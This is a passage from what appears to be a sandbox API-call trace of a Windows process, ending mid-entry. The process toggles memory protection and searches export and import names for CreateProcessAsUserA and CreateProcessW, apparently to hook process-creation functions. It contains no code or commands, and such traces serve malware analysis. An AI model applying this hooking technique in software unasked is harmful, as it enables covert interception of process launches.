[0042.715] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f000 | out: hHeap=0x9770000) returned 1 [0042.715] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x20) returned 1 [0042.716] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x40) returned 1 [0042.717] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x40) returned 1 [0042.718] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb20, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb20, ReturnLength=0x0) returned 0x0 [0042.718] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0042.718] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6efe0 [0042.718] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0042.718] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0042.719] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0042.720] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0042.721] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0042.722] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0042.722] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x2) returned 1 [0042.722] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6f050 [0042.722] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6f070 [0042.724] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f050 | out: hHeap=0x9770000) returned 1 [0042.724] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f070 | out: hHeap=0x9770000) returned 1 [0042.724] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x20) returned 1 [0042.754] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x40) returned 1 [0042.755] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x40) returned 1 [0042.756] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb20, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb20, ReturnLength=0x0) returned 0x0 [0042.756] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a6da90 [0042.756] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77320000 [0042.757] GetProcAddress (hModule=0x77320000, lpProcName="EnumProcessModules") returned 0x77321050 [0042.757] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x9a6da90, cb=0x1000, lpcbNeeded=0x6adfc28 | out: lphModule=0x9a6da90, lpcbNeeded=0x6adfc28) returned 1 [0042.760] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0xffb60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0xffb60000, AllocationBase=0xffb60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.760] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.760] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f050 [0042.760] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="RegGetValueW", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="EventWrite", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="EventEnabled", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessW") returned 1 [0042.760] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="EventRegister", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="EventUnregister", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="TraceMessage", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegOpenKeyW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="LsaOpenPolicy", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="GetSidSubAuthorityCount", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="LsaClose", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="IsValidSid", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="LsaFreeMemory", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="StartTraceW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="EnableTraceEx", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="StopTraceW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptAcquireContextW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptCreateHash", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptHashData", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptGetHashParam", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptDestroyHash", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CryptReleaseContext", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="StartServiceW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="LsaLookupSids", lpString2="CreateProcessW") returned 1 [0042.761] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0042.761] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="QueryServiceStatus", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="OpenSCManagerW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="OpenServiceW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="CloseServiceHandle", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetFileSize", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="FlushInstructionCache", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="OpenThread", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetDateFormatW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetTimeFormatW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="InterlockedPopEntrySList", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0042.762] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0042.762] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="InterlockedPushEntrySList", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="lstrcmpiW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0042.763] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0042.763] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SetTermsrvAppInstallMode", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="RegisterApplicationRestart", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SystemTimeToFileTime", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetSystemTime", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="MulDiv", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetTickCount64", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetThreadPriority", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="SetThreadPriority", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessW") returned 1 [0042.763] lstrcmpiA (lpString1="ExitProcess", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA 